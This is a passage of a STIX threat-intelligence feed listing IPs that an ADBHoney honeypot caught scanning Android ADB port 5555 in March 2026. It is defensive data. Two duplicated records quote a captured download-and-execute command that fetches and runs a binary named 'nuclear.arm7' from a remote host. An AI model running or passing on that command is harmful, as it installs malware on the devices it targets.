          "first_seen": "2026-03-29T04:09:55.000Z",
          "last_seen": "2026-03-29T04:20:06.605Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T04:04:13.000Z | last_seen=2026-03-29T04:05:48.296Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:00:04.000Z",
      "valid_until": "2026-04-30T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T04:04:13.000Z",
          "last_seen": "2026-03-29T04:05:48.296Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-29T05:43:37.000Z | last_seen=2026-03-29T05:44:39.193Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b3911f83-ca4d-47e3-8636-837a0729aacd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.107.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:00:05.000Z",
      "valid_until": "2026-04-30T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-29T05:43:37.000Z",
          "last_seen": "2026-03-29T05:44:39.193Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-29T06:59:09.000Z | last_seen=2026-03-29T07:10:21.688Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--17b7b95d-1532-49bd-a70b-702e889f7b64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '175.208.182.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:00:04.000Z",
      "valid_until": "2026-04-30T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-29T06:59:09.000Z",
          "last_seen": "2026-03-29T07:10:21.688Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=KR; asn=9976; asn_org=Namincheon Brodcasting Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=3 | first_seen=2026-03-29T06:35:37.000Z | last_seen=2026-03-29T06:36:41.841Z | ports=5555 | cc=KR | asn=9976 | org=Namincheon Brodcasting Co., Ltd.",
      "id": "indicator--654313fd-8e99-4fcd-9f86-d740cb3a1b81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '211.112.78.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:00:04.000Z",
      "valid_until": "2026-04-30T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 3,
          "first_seen": "2026-03-29T06:35:37.000Z",
          "last_seen": "2026-03-29T06:36:41.841Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "9976"
          ],
          "org": [
            "Namincheon Brodcasting Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T13:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T12:03:07.000Z | last_seen=2026-03-29T12:16:32.734Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--effba24c-6cf1-4a34-98a5-86b938003d5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '164.90.165.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T13:00:07.000Z",
      "valid_until": "2026-04-30T13:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T12:03:07.000Z",
          "last_seen": "2026-03-29T12:16:32.734Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T13:02:51.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T12:03:07.000Z | last_seen=2026-03-29T12:16:32.734Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--effba24c-6cf1-4a34-98a5-86b938003d5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '164.90.165.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T13:02:51.000Z",
      "valid_until": "2026-04-30T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T12:03:07.000Z",
          "last_seen": "2026-03-29T12:16:32.734Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T14:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T13:22:48.000Z | last_seen=2026-03-29T13:33:35.584Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c1a9ff6c-d776-43c8-8b92-e2ab72bae66a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.145.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:00:06.000Z",
      "valid_until": "2026-04-30T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-29T13:22:48.000Z",
          "last_seen": "2026-03-29T13:33:35.584Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T14:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=68; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /mnt; busybox curl http://87.120.191.32/nuclear.arm7; chmod 777 nuclear.arm7; ./nuclear.arm7 android; rm -rf nuclear.arm7\"\n\nObserved in ADBHoney telemetry for 2026-03. events=68 | first_seen=2026-03-29T13:10:11.000Z | last_seen=2026-03-29T13:57:36.905Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--697e5ee0-29d2-4587-98d0-df2714102f0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:00:06.000Z",
      "valid_until": "2026-04-30T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 68,
          "first_seen": "2026-03-29T13:10:11.000Z",
          "last_seen": "2026-03-29T13:57:36.905Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T14:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-29T13:22:48.000Z | last_seen=2026-03-29T13:33:35.584Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c1a9ff6c-d776-43c8-8b92-e2ab72bae66a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.145.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:00:07.000Z",
      "valid_until": "2026-04-30T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-29T13:22:48.000Z",
          "last_seen": "2026-03-29T13:33:35.584Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T14:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=68; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0; cmd=\"cd /mnt; busybox curl http://87.120.191.32/nuclear.arm7; chmod 777 nuclear.arm7; ./nuclear.arm7 android; rm -rf nuclear.arm7\"\n\nObserved in ADBHoney telemetry for 2026-03. events=68 | first_seen=2026-03-29T13:10:11.000Z | last_seen=2026-03-29T13:57:36.905Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--697e5ee0-29d2-4587-98d0-df2714102f0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T14:00:07.000Z",
      "valid_until": "2026-04-30T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 68,
          "first_seen": "2026-03-29T13:10:11.000Z",
          "last_seen": "2026-03-29T13:57:36.905Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=CA; asn=32586; asn_org=Niagara Wireless Internet Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-29T14:30:58.000Z | last_seen=2026-03-29T14:50:19.592Z | ports=5555 | cc=CA | asn=32586 | org=Niagara Wireless Internet Co.",
      "id": "indicator--403c0619-42e3-47c2-9151-585171723686",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '148.66.47.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T15:00:02.000Z",
      "valid_until": "2026-04-30T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-29T14:30:58.000Z",
          "last_seen": "2026-03-29T14:50:19.592Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "32586"
          ],
          "org": [
            "Niagara Wireless Internet Co."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:47:20.000Z | last_seen=2026-03-29T15:48:24.661Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '139.144.239.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:47:20.000Z",
          "last_seen": "2026-03-29T15:48:24.661Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:47:12.000Z | last_seen=2026-03-29T15:48:13.746Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6050f96f-a2c9-46e7-ba7f-7b954a9c0a28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:47:12.000Z",
          "last_seen": "2026-03-29T15:48:13.746Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=16276; asn_org=OVH SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:23:50.000Z | last_seen=2026-03-29T15:24:57.241Z | ports=5555 | cc=FR | asn=16276 | org=OVH SAS",
      "id": "indicator--86c2ae3e-755c-4965-9f8a-23a1fe5f3a2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.196.125.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:23:50.000Z",
          "last_seen": "2026-03-29T15:24:57.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "16276"
          ],
          "org": [
            "OVH SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:47:20.000Z | last_seen=2026-03-29T15:48:24.661Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '139.144.239.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:47:20.000Z",
          "last_seen": "2026-03-29T15:48:24.661Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:47:12.000Z | last_seen=2026-03-29T15:48:13.746Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6050f96f-a2c9-46e7-ba7f-7b954a9c0a28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:47:12.000Z",
          "last_seen": "2026-03-29T15:48:13.746Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
